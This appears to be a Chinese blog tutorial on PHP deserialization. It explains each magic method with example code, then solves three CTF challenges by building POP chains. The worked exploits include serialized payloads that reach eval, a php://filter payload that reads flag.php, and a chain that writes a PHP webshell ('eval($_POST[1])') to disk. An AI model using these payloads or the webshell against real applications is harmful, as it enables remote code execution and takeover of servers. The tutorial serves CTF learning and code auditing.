# PHP - 反序列化(超细的)

很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的 php 反序列化,经常在 ctf 中看到,还有就是审计的时候也会需要,这里我就细讲一下,我建议大家自己复制源码去搭建运行,只有自己去好好理解,好好利用了才更好的把握,才能更快的找出 pop 链子,首先呢反序列化最重要的就是那些常见的魔法函数,很多小伙伴都不知道这个魔法函数是干啥的,今天我就一个一个,细致的讲讲一些常见的魔法函数,以及最后拿一些 ctf 题举例,刚开始需要耐心的看,谢谢大家的关注,我会更努力的。

常见的 PHP 魔术方法:

1
2
3
4
5
6
7
8
9
10
11
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__call:当调用对象中不存在的方法会自动调用该方法。
__get():获取对象不存在的属性时执行此函数。
__set():设置对象不存在的属性时执行此函数。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__isset():在不可访问的属性上调用isset()或empty()触发
__unset():在不可访问的属性上使用unset()时触发
__invoke() :将对象当作函数来使用时执行此方法

# __construct 与 __destruct

__construct : 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct : 和构造函数相反,当对象所在函数调用完毕后执行。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class Test{
public $name;
public $age;
public $string;

// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}

// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类执行完毕"."<br>";
}
}

// 主动销毁
$test = new Test("Spaceman",566, 'Test String');
unset($test);
// 主动销毁先执行__destruct再执行下面的echo
echo '566'.'<br>';
echo '----------------------<br>';

// 程序结束自动销毁
$test = new test("Spaceman",566, 'Test String');
// 自动销毁先执行下面的echo,程序结束才执行__destruct
echo '666'.'<br>';
?>

运行结果:

1
2
3
4
5
6
7
__construct 初始化
__destruct 类执行完毕
566
----------------------
__construct 初始化
666
__destruct 类执行完毕

# __call

__call :当调用对象中不存在的方法会自动调用该方法。

调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call 函数。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Test{

public function good($number,$string){
echo '存在good方法'.'<br>';
echo $number.'---------'.$string.'<br>';
}

// 当调用类中不存在的方法时,就会调用__call();
public function __call($method,$args){
echo '不存在'.$method.'方法'.'<br>';
var_dump($args);
}
}

$a = new Test();
$a->good(566,'nice');
$b = new Test();
$b->spaceman(899,'no');
?>

运行结果:

1
2
3
4
5
6
7
8
9
存在good方法
566---------nice
不存在spaceman方法
array(2) {
[0] =>
int(899)
[1] =>
string(2) "no"
}

# __get()

__get() :访问不存在的成员变量时调用的; 用来获取私有属性

读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get 函数。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class Test {
public $n=123;

// __get():访问不存在的成员变量时调用
public function __get($name){
echo '__get 不存在成员变量'.$name.'<br>';
}
}

$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__get
echo $a->spaceman;

运行结果:

1
2
123
__get 不存在成员变量spaceman

# __set()

__set() :设置不存在的成员变量时调用的;

设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set 函数。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class Test{
public $data = 100;
protected $noway=0;

// __set():设置对象不存在的属性或无法访问(私有)的属性时调用
/* __set($name, $value)
* 用来为私有成员属性设置的值
* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
*/
public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'<br>';
echo '即将设置的值 '.$value."<br>";
$this->noway=$value;
}

public function Get(){
echo $this->noway;
}
}

$a = new Test();
// 读取 noway 的值,初始为0
$a->Get();
echo '<br>';
// 无法访问(私有)noway属性时调用,并设置值为899
$a->noway = 899;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性spaceman
$a->spaceman = 566;
// 经过__set方法的设置noway的值为566
$a->Get();
?>

运行结果:

1
2
3
4
5
6
7
0
__set 不存在成员变量 noway
即将设置的值 899
899
__set 不存在成员变量 spaceman
即将设置的值 566
566

# __get 与 __set

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

class Person{
private $name;
private $sex;
private $age;

//__get()方法用来获取私有属性
public function __get($property_name){
echo "在直接获取私有属性值的时候,自动调用了这个__get()方法<br>";
if(isset($this->$property_name)) {
return($this->$property_name);
}
else {
return(NULL);
}
}

// __set()方法用来设置私有属性
public function __set($property_name, $value){
echo "在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值<br>";
$this->$property_name = $value;
}
}

$a = new Person();
// 直接为私有属性赋值的操作,会自动调用__set()方法进行赋值
$a->name="张三";
$a->sex="男";
$a->age=20;
// 直接获取私有属性的值,会自动调用__get()方法,返回成员属性的值
echo "姓名:".$a->name."<br>";
echo "性别:".$a->sex."<br>";
echo "年龄:".$a->age."<br>";
?>

运行结果:

1
2
3
4
5
6
7
8
9
在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
在直接获取私有属性值的时候,自动调用了这个__get()方法
姓名:张三
在直接获取私有属性值的时候,自动调用了这个__get()方法
性别:男
在直接获取私有属性值的时候,自动调用了这个__get()方法
年龄:20

# __toString()

__toString() :在对象当做字符串的时候会被调用。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Test
{
public $variable = 'This is a string';

public function good(){
echo $this->variable . '<br />';
}

// 在对象当做字符串的时候会被调用
public function __toString()
{
return '__toString <br>';
}
}

$a = new Test();
$a->good();
echo $a;
?>

运行结果:

1
2
This is a string
__toString

# __sleep()

__sleep() : serialize 之前被调用,可以指定要序列化的对象属性。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class Test{
public $name;
public $age;
public $string;

// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}

// __sleep() : serialize之前被调用,可以指定要序列化的对象属性
public function __sleep(){
echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
return array('name', 'age');
}
}

$a = new Test("Spaceman",566, 'Test String');
echo serialize($a);
?>

运行结果:

1
2
3
__construct 初始化
当在类外部使用serialize()时会调用这里的__sleep()方法
O:4:"Test":2:{s:4:"name";s:8:"Spaceman";s:3:"age";i:566;}

# __wakeup

__wakeup :反序列化恢复对象之前调用该方法

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class Test{
public $sex;
public $name;
public $age;

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

public function __wakeup(){
echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
$this->age = 566;
}
}

$person = new Test('spaceman',21,'男');
$a = serialize($person);
echo $a."<br>";
var_dump (unserialize($a));
?>

运行结果:

1
2
3
4
5
6
7
8
9
10
O:4:"Test":3:{s:3:"sex";s:3:"男";s:4:"name";s:8:"spaceman";s:3:"age";i:21;}
当在类外部使用unserialize()时会调用这里的__wakeup()方法
class Test#2 (3) {
public $sex =>
string(3) "男"
public $name =>
string(8) "spaceman"
public $age =>
int(566)
}

# __isset()

__isset() : 检测对象的某个属性是否存在时执行此函数。

当对不可访问属性调用 isset () 或 empty () 时,__isset () 会被调用。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class Person{
public $sex;
private $name;
private $age;

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
return isset($this->$content);
}
}

$person = new Person("spaceman", 25,'男');
// public 成员
echo ($person->sex),"<br>";
// private 成员
echo isset($person->name);
?>

运行结果:

1
2
3

当在类外部使用isset()函数测定私有成员 name 时,自动调用
1

# __unset()

__unset() :在不可访问的属性上使用 unset () 时触发

销毁对象的某个属性时执行此函数。

1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。

2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class Person{
public $sex;
private $name;
private $age;

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

// __unset():销毁对象的某个属性时执行此函数
public function __unset($content) {
echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>";
echo isset($this->$content)."<br>";
}
}

$person = new Person("spaceman", 21,"男"); // 初始赋值
unset($person->sex);
echo "666666<br>";
unset($person->name);
unset($person->age);
?>

运行结果:

1
2
3
4
5
666666
当在类外部使用unset()函数来删除私有成员时自动调用的
1
当在类外部使用unset()函数来删除私有成员时自动调用的
1

# __invoke()

__invoke() :将对象当作函数来使用时执行此方法,通常不推荐这样做。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class Test{
// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
public function __invoke($param1, $param2, $param3)
{
echo "这是一个对象<br>";
var_dump($param1,$param2,$param3);
}
}

$a = new Test();
$a('spaceman',21,'男');
?>

运行结果:

1
2
3
4
这是一个对象
string(8) "spaceman"
int(21)
string(3) "男"

# 举例

# pop 链的利用

# 例 1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

highlight_file(__FILE__);

class pop {
public $ClassObj;

// 对象实例化时调用
function __construct() {
$this->ClassObj = new hello();
}

// 对象销毁或程序运行结束时调用
function __destruct() {
$this->ClassObj->action();
}
}

class hello {
function action() {
echo "<br> hello pop ";
}
}

class shell {
public $data;
function action() {
eval($this->data);
}
}

$a = new pop();
unserialize($_GET['s']);

简单的审计一下,可以发现,pop 类本来是调用 hello 类的,然后程序结束执行 action 方法,但是 shell 类也有 action 方法,所以就可以构造 pop 链,使其 pop 类调用 shell 类从而执行 eval 函数。

构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

highlight_file(__FILE__);

class pop {
public $ClassObj;

function __construct() {
$this->ClassObj = new shell();
}
}

class shell {
public $data = "phpinfo();";
function action() {
eval($this->data);
}
}

echo serialize(new pop());

运行结果:

1
O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}}

image-20210522135859671

不过需要注意的是 private 属性和 protected 属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

highlight_file(__FILE__);

class pop {
public $Pub = "spaceman";
private $Pri = "good";
protected $ClassObj;

function __construct() {
$this->ClassObj = new hello();
}

}

class hello {
}

echo urlencode(serialize(new pop()));

运行结果如下, 有 %00 存在是因为 private 属性和 protected 属性

1
O%3A3%3A%22pop%22%3A3%3A%7Bs%3A3%3A%22Pub%22%3Bs%3A8%3A%22spaceman%22%3Bs%3A8%3A%22%00pop%00Pri%22%3Bs%3A4%3A%22good%22%3Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A5%3A%22hello%22%3A0%3A%7B%7D%7D

# 例 2:

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

首先看看所涉及到的魔术方法:

1
2
3
4
5
__construct()  当一个对象创建时被调用
__toString() 当一个对象被当作一个字符串使用
__wakeup() 将在反序列化之后立即被调用
__get() 访问不存在的成员变量时调用的
__invoke() 将对象当作函数来使用时执行此方法

我们可以先一个一个类看看怎么利用

Modifier 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

highlight_file(__FILE__);

class Modifier {
protected $var = 'info.php';

public function append($value){
include($value);
}

public function __invoke(){
echo '__invoke'."<br>";
$this->append($this->var);
}
}

$a = new Modifier();
$a();

这里假设需要 include 的文件是 info.php

简单解释一下代码的意思,就是我们需要执行 append 方法,若需要执行该方法可通过 __invoke 方法执行,也就是当将对象当作函数来使用时执行 __invoke 方法

所以我们就可以先创建这个对象然后再拿来当函数使用,就会自动触发 __invoke 方法,从而就可以执行 append 方法包含 info.php 文件

运行结果:

image-20210522183754348

接下来是 Test 类:

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

首先是 __construct 方法初始化设置 p 是一个数组,这显然不是我们需要的,但我们可以重新初始化,然后是 __get 方法,访问不存在的成员变量时调用,而且返回的是方法,这不就可以配合第一个 Modifier 类使用了吗,使用 Test 类的 __get 方法调用 Modifier 类,所以我们可以使 Test 类初始化将 $p 的值设为 Modifier 对象,然后再经过 __get 方法以函数的方式执行 Modifier 对象(即访问一个 Test 类不存在的属性),这样就可以使用 Modifier 对象的 append 方法了,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class Modifier {
protected $var = 'info.php';

public function append($value){
include($value);
}

public function __invoke(){
echo '__invoke'."<br>";
$this->append($this->var);
}
}


class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

$a = new Test();
$a->no;
?>

运行结果:

image-20210523005245883

最后是这个 Show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

首先使用 unserialize 会先触发 __wakeup 方法,这个方法在这里其实就是充当过滤字符,接着是初始化方法,这个方法有个关键的地方就是使用了 echo 打印字符串,并且将 source 拼接起来打印,而 __toString() 就是当一个对象被当作一个字符串时调用,正好可以利用初始化方法的 echo 去完成调用。

分析了这么多,最后就可以构造最终的 pop 链了,先上 payload 再继续讲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class Modifier {
protected $var = 'info.php';
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "566";
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}

$a = new Show('spaceman');
$a->str = new Test();
$c = new Show($a);
echo serialize($c);

运行结果有不可显示字符 %00 这里我手动加上了,所以可以使用 urlencode 一下,我这里是为了更直观的查看所以直接序列化

image-20210523011944033

1
2
3
Welcome to spaceman
Welcome to 566
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:8:"spaceman";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"info.php";}}}s:3:"str";N;}

$a = new Show('spaceman');

首先是 new 一个 Show 对象,然后初始化 source 的值,如 spaceman 等字符,这个没多大影响,只是为了调用 Test 类中的 __get 方法,那如何调用的呢

$a->str = new Test();

Show 类的 str 属性设为 new Test ()

$c = new Show($a);

然后再用 Show 类初始化刚刚构造的 Show 类,这里可能就有点绕了,为何我们需要这样构造呢,因为我们需要触发 Show__toString() 方法,让 str 能调用 source,而经过刚刚的赋值,str 为 new Test() ,source 为 new Show('spaceman') 中的 spaceman ,那么 __toString 方法中的 str->source 就是访问 Test 类中的 spaceman 属性,然而 Test 类没有 spaceman 属性,那么就会触发 __get 方法,而该方法又会触发 Modifier 类中的 __invoke 方法,最后就完成了 include

所以大概调用的过程是:

1
Show::__toString()-->Test::__get()-->Modifier::__invoke()

执行结果:

image-20210523014028121

当然这是文件包含,那么想要读取文件应该怎么办呢,可以 php 伪协议使用,所以可以这样构造读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "566";
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}

$a = new Show('spaceman');
$a->str = new Test();
$c = new Show($a);
echo serialize($c);

//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:8:"spaceman";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

运行结果

image-20210523014527175

执行:

image-20210523014313641

最后 base64 解码即可

# 例 3:

ctfshow 反序列化 web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

首先呢了解一个上文没讲过的 __unserialize() 方法, 反序列化函数,用于序列化的 SET 类型数据。如果参数不是序列化的 SET,那么会直接返回。如果是一个序列化的 SET,但不是 PHP-REDIS 序列化的格式,函数将抛出一个异常。

Examples:

1
2
$redis->setOpt(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP);
$redis->_unserialize('a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}'); // Will return Array(1,2,3)

所以我们此时应该先想怎么序列化

__sleep() serialize 之前被调用,可以指定要序列化的对象属性。 所以在反序列化的时候就没啥用了,我们自己序列化的时候也不加,而 __unserialize 在序列化的时候也用不到, __wakeup 是反序列化恢复对象之前调用的方法,所以跟序列化也没啥关系, __invoke() 是将对象当作函数来使用时执行此方法,但是我发现并不需要调用此方法,因为 __destruct() 方法中有 file_put_contents 函数可以写文件,所以我们需要满足 code==0x36d 即可将文件写入,这里不难发现是弱类型比较,所以 887.php==0x36d 是成立的,所以我们可以直接构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ctfshowvip{
public $username;
public $password;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a = new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

为什么可以直接这样构造而不被 __wakeup() 拦截呢,因为含有 __unserialize() ,就是当一个类中同时含有这两个方法时只有 __unserialize 生效,而 __wakeup() 失效,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 <?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
echo "__construct()<br>";
$this->username=$u;
$this->password=$p;
}

public function __wakeup(){
echo "__wakeup()<br>";
if($this->username!='' || $this->password!=''){
die('error');
}
}

public function __invoke(){
echo "__invoke()<br>";
eval($this->code);
}

public function __sleep(){
echo "__sleep()<br>";
$this->username='';
$this->password='';
}

public function __unserialize($data){
echo "__unserialize()<br>";
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
var_dump($data);
echo "<br>";
echo $this->code;
echo "<br>";

}

public function __destruct(){
echo "__destruct()<br>";
if($this->code==0x36d){
echo "file_put_contents-----good!<br>";
}
}
}

unserialize($_GET['vip']);

运行结果:

1
2
3
4
5
__unserialize()
array(2) { ["username"]=> string(7) "877.php" ["password"]=> string(24) "<?php eval($_POST[1]);?>" }
877.php
__destruct()
file_put_contents-----good!

成功写入木马,剩下的操作就不说了

# 例 4:

2021 蓝帽杯半决赛 - 杰克与肉丝

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__file__);
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
//if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
//}
}
}
if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}
?>

为了不受其他因素干扰,我先把这个 Rose 类__invoke 函数的 if 语句注释,就是为了更方便的看看怎么构造的,所以首先我们应该直接寻找我们最后利用的函数 eval,然后利用逆推的方式,看看是如何触发该函数的,就是看看怎么调用的,invoke () 将对象当作函数来使用时执行此方法,所以刚刚开始我们依旧可以慢慢一步一步测试分析,慢慢一步一步调用

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class Rose{
public $var1 = "phpinfo();";
public $var2;
function __invoke(){
eval($this->var1);
}
}

$a = new Rose();
echo $a->var1;
$a();

image-20210630002354152

现在是构造出来了,接着是看看怎么才能调用这个类,而 Love 类有一个是函数以函数的方式,call_user_func 是把第一个参数作为回调函数调用,正好符合了我们需要构造的,所以我们又看一下这个函数是怎么触发的,__call 当调用对象中不存在的方法会自动调用该方法,由于 call_user_func 回调的参数是roserose,rose 又是直接等于var,所以我们需要先给var,所以我们需要先给 var 赋值,这个值就是 Rose 类,这样 call_user_func 回调时就拿 Rose 类当函数执行,这样就可以出发 Rose 类的 eval 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class Love{
public $var;
function __call($a,$b)
{
$rose = $this->var;
echo "$a function not find!<br>";
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}

class Rose{
public $var1 = "phpinfo();";
public $var2;
function __invoke(){
echo $this->var1;
eval($this->var1);
}
}

$a = new Rose();
$b = new Love();
$b->var = $a;
$b->spaceman(566); //不存在的spaceman函数

image-20210630013140927

然后我们继续寻找一下如何在别的类里找一个不存在的函数,b>spaceman(566)这样的形式Jack类就有,正好又可以构造了,然后我们再看一下怎么触发Jack类中的这个形式_set设置对象不存在的属性或无法访问(私有)的属性时调用,这里的b->spaceman(566) 这样的形式Jack类就有,正好又可以构造了,然后我们再看一下怎么触发Jack类中的这个形式,_\_set 设置对象不存在的属性或无法访问(私有)的属性时调用,这里的 action 是私有的,所以我们可以利用这个 action

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class Jack{
private $action;
function __set($a, $b)
{
echo "good! I run!<br>";
$b->$a();
}
}

class Love{
public $var;
function __call($a,$b)
{
$rose = $this->var;
echo "$a function not find!<br>";
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}

class Rose{
public $var1 = "phpinfo();";
public $var2;
function __invoke(){
echo $this->var1;
eval($this->var1);
}
}

$a = new Rose();
$b = new Love();
$b->var = $a;
$c = new Jack();
$c->action = $b;

其实这里不用 action 其实也是可以的,随便一个名字都行,但是这里用 action 是因为等下需要,因为我们需要利用这个 action,那么就是接下来怎么触发这个 Jack 类了,源码中只有一个 unserialize,而要想触发这一系列的类,只有 Titanic 类符合开始的条件,因为只有 Titanic 类的__destruct 魔法函数触发,所以这就是我们序列化的入口,__destruct 当对象所在函数调用完毕后执行。最后就是用 Titanic 类将这些类都连接在一起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}

class Jack{
private $action;
function __set($a, $b)
{
echo "good! I run!<br>";
$b->$a();
}
}

class Love{
public $var;
function __call($a,$b)
{
$rose = $this->var;
echo "$a function not find!<br>";
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}

class Rose{
public $var1 = "phpinfo();";
public $var2;
function __invoke(){
echo $this->var1;
eval($this->var1);
}
}

$s = new Titanic();
$s->people = new Jack();
$s->ship = new Love();
$s->ship->var = new Rose();
echo urlencode(serialize($s));
echo "<br>";

image-20210630020508648

最后将序列化后得到的数据输入源码中即可

image-20210630020650559

注释掉那个 md5 与 sha1 绕过我就不讲了,如果有师傅感兴趣可以参考 https://blog.csdn.net/LYJ20010728/article/details/114493052

# 结束语

哈哈哈,下次一定好好更新,下次一定

本次主要是讲了 php 反序列中常用魔术方法怎么触发以及怎么构造 pop 链,在实战中有的漏洞就是通过源码审计反序列化来导致 RCE 的,比如 thinkphp5.1.* 就存在一个 RCE 的 pop 链,这个我之后也会进行更新,构造 pop 链就是需要耐心也细心,一开始都不容易,我个人使用的是逆推的方法,就是从最后的命令执行往前推,需要啥就找啥,有的师傅是习惯从头到尾,我比较菜,只能从后面慢慢测试慢慢往前推,最后感谢关注我的朋友们,我会更加努力学习,尽量帮师傅们更快掌握一些知识,以后会尽量更新文章,谢谢师傅们!